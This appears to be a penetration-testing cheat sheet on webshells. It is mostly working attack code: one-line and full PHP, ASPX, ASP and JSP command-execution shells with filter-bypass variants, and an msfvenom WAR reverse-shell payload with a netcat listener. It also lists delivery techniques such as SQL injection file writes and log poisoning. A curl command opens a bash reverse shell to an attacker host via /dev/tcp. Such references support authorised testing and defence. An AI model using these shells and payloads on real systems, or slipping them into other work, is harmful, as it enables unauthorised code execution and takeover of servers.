A webshell is the fastest path from “I can upload a file” to “I have code execution.” You drop a script in the web root, hit it via browser or curl, and run commands through URL parameters. Webshells are noisy and leave artifacts — use them as a stepping stone to a proper reverse shell, then delete them.

PHP Webshells

One-Liner

<?php system($_GET['c']); ?>

Trigger with:

http://target/uploads/shell.php?c=id

Variations (bypass different filters)

<?php echo shell_exec($_GET['c']); ?>
<?php passthru($_REQUEST['c']); ?>
<?php echo `${_GET[c]}`; ?>
<?=`$_GET[0]`?>                          /* ultra-short, requires short_open_tag */
<?php eval($_POST['c']); ?>              /* POST-only — stealthier in logs */

Exec-Function-Blocked Bypasses

<?php include($_GET['f']); ?>            /* LFI-to-RCE via log poisoning */
<?php echo file_get_contents($_GET['f']); ?>
<?php preg_replace('/.*/e', $_GET['c'], ''); ?>  /* PHP < 7, deprecated */

Full Interactive PHP Shell

Use p0wny-shell or b374k when you want a UI. Upload the single file, browse to it, type commands in the fake prompt.

PHP File Upload Snippet

<?php
if($_FILES){
  move_uploaded_file($_FILES['f']['tmp_name'], basename($_FILES['f']['name']));
  echo "uploaded: ".$_FILES['f']['name'];
}
?>
<form method="POST" enctype="multipart/form-data">
<input type="file" name="f"><input type="submit">
</form>

ASP / ASPX Webshells

Minimal ASPX

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
void Page_Load(object sender, EventArgs e){
  string cmd = Request["c"];
  if(cmd != null){
    Process p = new Process();
    p.StartInfo.FileName = "cmd.exe";
    p.StartInfo.Arguments = "/c " + cmd;
    p.StartInfo.UseShellExecute = false;
    p.StartInfo.RedirectStandardOutput = true;
    p.Start();
    Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
  }
}
</script>

Trigger:

http://target/shell.aspx?c=whoami

Classic ASP

<%
Dim oScript, oCmd, oOut
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oCmd = oScript.Exec("cmd /c " & Request.QueryString("c"))
Response.Write("<pre>" & oCmd.StdOut.ReadAll() & "</pre>")
%>

Antak (Nishang)

Interactive ASPX shell with a terminal-style UI. Change the default username/password at the top of the file before uploading.

https://github.com/samratashok/nishang/blob/master/Antak-WebShell/antak.aspx

Upload to a writable directory served by IIS → browse → log in → type.

JSP Webshells

Minimal JSP

<%@ page import="java.util.*,java.io.*"%>
<%
String c = request.getParameter("c");
if(c != null){
  Process p = Runtime.getRuntime().exec(c);
  BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
  String l;
  out.println("<pre>");
  while((l = r.readLine()) != null){ out.println(l); }
  out.println("</pre>");
}
%>

JSP as WAR (Tomcat Manager)

Upload the WAR via /manager/html and browse to /shell/:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f war -o shell.war

Catch:

nc -lvnp 4444

Then upload shell.war through Tomcat Manager → click the deployed context → shell arrives.

Known Webshell Libraries

ShellLanguageNotes
p0wny-shellPHPSingle-file, clean UI, no deps
b374kPHPFeature-rich, password-protected, obfuscated
WSOPHPClassic, includes SQL browser and file manager
China ChopperASPX / PHP / JSPTiny loader (~4KB), paired with GUI client
AntSwordMultiModern replacement for China Chopper — full-featured client
BehinderMultiEncrypted traffic, hard for DPI to catch
AntakASPXNishang’s interactive shell
JSP File BrowserJSPFile manager + exec for Java apps

Delivering a Webshell

VectorTechnique
File upload vulnDrop .php/.aspx/.jsp through the form; see File Upload module
SQLiINTO OUTFILE '/var/www/html/s.php' on MySQL
LFI + log poisoningInject PHP into User-Agent, include /var/log/apache2/access.log
RCE evalcurl target/rce?c=echo%20<?php...?>%20>%20/var/www/html/s.php
Tomcat manager credsWAR deploy
WebDAV PUTcurl -T shell.aspx http://target/shell.aspx

Operating Through a Webshell

# issue commands via curl
curl -s "http://target/shell.php?c=id"
curl -s "http://target/shell.php?c=$(python3 -c 'from urllib.parse import quote;print(quote("bash -c \"bash -i >&/dev/tcp/10.10.14.5/4444 0>&1\""))')"
 
# POST-based (stealthier — not in access.log query string)
curl -s -X POST --data "c=whoami" http://target/shell.php

Upgrade immediately

Webshells are stateless, laggy, and logged. First thing you do after confirming code execution: fire a reverse shell and move your work there.

Clean up

At the end of the engagement, delete every webshell you dropped. They’re RCE-as-a-service for the next attacker.